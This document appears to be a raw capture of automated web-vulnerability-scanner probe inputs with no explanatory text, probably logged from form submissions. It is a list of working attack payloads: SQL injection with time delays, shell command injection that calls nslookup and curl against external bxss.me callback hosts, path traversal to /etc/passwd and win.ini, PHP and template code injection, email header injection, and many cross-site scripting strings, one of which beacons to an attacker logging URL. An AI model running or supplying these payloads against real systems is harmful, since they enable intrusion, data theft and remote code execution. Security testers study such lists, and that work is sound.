1

1

1

1

-1 OR 2+338-338-1=0+0+0+1 --

-1 OR 2+617-617-1=0+0+0+1

echo xetvdb$()\ ctqrtz\nz^xyu||a #' &echo xetvdb$()\ ctqrtz\nz^xyu||a #|" &echo xetvdb$()\ ctqrtz\nz^xyu||a #

response.write(9898990*9878279)

-1' OR 2+38-38-1=0+0+0+1 --

&echo qmdxpz$()\ kezhwi\nz^xyu||a #' &echo qmdxpz$()\ kezhwi\nz^xyu||a #|" &echo qmdxpz$()\ kezhwi\nz^xyu||a #

-1' OR 2+88-88-1=0+0+0+1 or 'yHEy2eOO'='

'+response.write(9898990*9878279)+'

|echo ezvsip$()\ djfvkw\nz^xyu||a #' |echo ezvsip$()\ djfvkw\nz^xyu||a #|" |echo ezvsip$()\ djfvkw\nz^xyu||a #

-1" OR 2+490-490-1=0+0+0+1 --

(nslookup -q=cname hitwvelkwjpvx80b02.bxss.me||curl hitwvelkwjpvx80b02.bxss.me))

if(now()=sysdate(),sleep(15),0)

"+response.write(9898990*9878279)+"

$(nslookup -q=cname hitxbxzwjixxj4c20c.bxss.me||curl hitxbxzwjixxj4c20c.bxss.me)

lbH3GBKo

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

&nslookup -q=cname hitlluenddpsa3148d.bxss.me&'\"`0&nslookup -q=cname hitlluenddpsa3148d.bxss.me&`'

&(nslookup -q=cname hitllgvnvovfj10bee.bxss.me||curl hitllgvnvovfj10bee.bxss.me)&'\"`0&(nslookup -q=cname hitllgvnvovfj10bee.bxss.me||curl hitllgvnvovfj10bee.bxss.me)&`'

../../../../../../../../../../../../../../etc/passwd

|(nslookup -q=cname hitqdigrnfqcm5bf13.bxss.me||curl hitqdigrnfqcm5bf13.bxss.me)

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

../../../../../../../../../../../../../../windows/win.ini

`(nslookup -q=cname hitdvhrzjrcggc92ee.bxss.me||curl hitdvhrzjrcggc92ee.bxss.me)`

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

;(nslookup -q=cname hittzuxccufii49e10.bxss.me||curl hittzuxccufii49e10.bxss.me)|(nslookup -q=cname hittzuxccufii49e10.bxss.me||curl hittzuxccufii49e10.bxss.me)&(nslookup -q=cname hittzuxccufii49e10.bxss.me||curl hittzuxccufii49e10.bxss.me)

file:///etc/passwd

-1; waitfor delay '0:0:15' --

1 bcc:[email protected]

-1); waitfor delay '0:0:15' --

1

[email protected]> bcc:[email protected]

../1

1 waitfor delay '0:0:15' --

1<esi:include src="http://bxss.me/rpb.png"/>

${10000179+10000257}

gABAEmRe'; waitfor delay '0:0:15' --

1

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

-5 OR 867=(SELECT 867 FROM PG_SLEEP(15))--

1&n984520=v979177

Http://bxss.me/t/fit.txt

)

-5) OR 590=(SELECT 590 FROM PG_SLEEP(15))--

http://bxss.me/t/fit.txt?.jpg

!(()&&!|*|*|

-1)) OR 400=(SELECT 400 FROM PG_SLEEP(15))--

/etc/shells

^(#$!@#$)(()))******

c:/windows/win.ini

5Kv83VOr' OR 21=(SELECT 21 FROM PG_SLEEP(15))--

1

PD04oqal') OR 790=(SELECT 790 FROM PG_SLEEP(15))--

bxss.me

'.gethostbyname(lc('hitta'.'dpvmehsz060b8.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(66).chr(104).chr(86).'

cjAZUO6i')) OR 676=(SELECT 676 FROM PG_SLEEP(15))--

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

".gethostbyname(lc("hitro"."gxnuzmji3d364.bxss.me."))."A".chr(67).chr(hex("58")).chr(117).chr(66).chr(113).chr(82)."

';print(md5(31337));$a='

'"()

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

HttP://bxss.me/t/xss.html?%00

";print(md5(31337));$a="

1'&&sleep(27*1000)*pyjccj&&'

${@print(md5(31337))}

bxss.me/t/xss.html?%00

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

${@print(md5(31337))}\

1'"

1"&&sleep(27*1000)*unwkhz&&"

"+"A".concat(70-3).concat(22*4).concat(119).concat(80).concat(122).concat(82)+(require"socket" Socket.gethostbyname("hitdh"+"bsjmmrpe20537.bxss.me.")[3].to_s)+"

'.print(md5(31337)).'

'+'A'.concat(70-3).concat(22*4).concat(113).concat(80).concat(113).concat(65)+(require'socket' Socket.gethostbyname('hitqa'+'nhpjmqeja653c.bxss.me.')[3].to_s)+'

1'||sleep(27*1000)*bjfsgc||'

@@GlO9E

1"||sleep(27*1000)*dehwsw||"

addcomment

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

xfs.bxss.me

'"

1'"()&%<zzz><ScRiPt >dMY7(9399)</ScRiPt>

addcomment/.

<!--

'"()&%<zzz><ScRiPt >dMY7(9764)</ScRiPt>

19757190

bfg10302＜s1﹥s2ʺs3ʹhjl10302

bfgx5979%C0%BEz1%C0%BCz2a%90bcxhjl5979

<%={{={@{#{${dfb}}%>

1

<th:t="${dfb}#foreach

1

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

1

dfb{{98991*97996}}xca

dfb[[${98991*97996}]]xca

dfb__${98991*97996}__::.x

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

1<ScRiPt >dMY7(9709)</ScRiPt>

1<WFCPPJ>QHMI0[!+!]</WFCPPJ>

1<script>dMY7(9462)</script>

1<ScR<ScRiPt>IpT>dMY7(9362)</sCr<ScRiPt>IpT>

1<ScRiPt >dMY7(9447)</ScRiPt>

1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9663></ScRiPt>

1<isindex type=image src=1 onerror=dMY7(9378)>

1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9072'>

1<body onload=dMY7(9679)>

1<img src=//xss.bxss.me/t/dot.gif onload=dMY7(9437)>

1<img src=xyz OnErRor=dMY7(9706)>

1<img/src=">" onerror=alert(9751)>

%31%3C%53%63%52%69%50%74%20%3E%64%4D%59%37%289183%29%3C%2F%73%43%72%69%70%54%3E

1\u003CScRiPt\dMY7(9624)\u003C/sCripT\u003E

1&lt;ScRiPt&gt;dMY7(9608)&lt;/sCripT&gt;

%F6<img zzz onmouseover=dMY7(90471) //%F6>

1<input autofocus onfocus=dMY7(9937)>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

1}body{zzz:Expre/**/SSion(dMY7(9768))}

1UnRj3 <ScRiPt >dMY7(9843)</ScRiPt>

1<WJCWWR>PBLQF[!+!]</WJCWWR>

1<ifRAme sRc=9326.com></IfRamE>

1<aM2gWoD x=9438>

1<img sRc='http://attacker-9729/log.php?

1<awYQSlZ<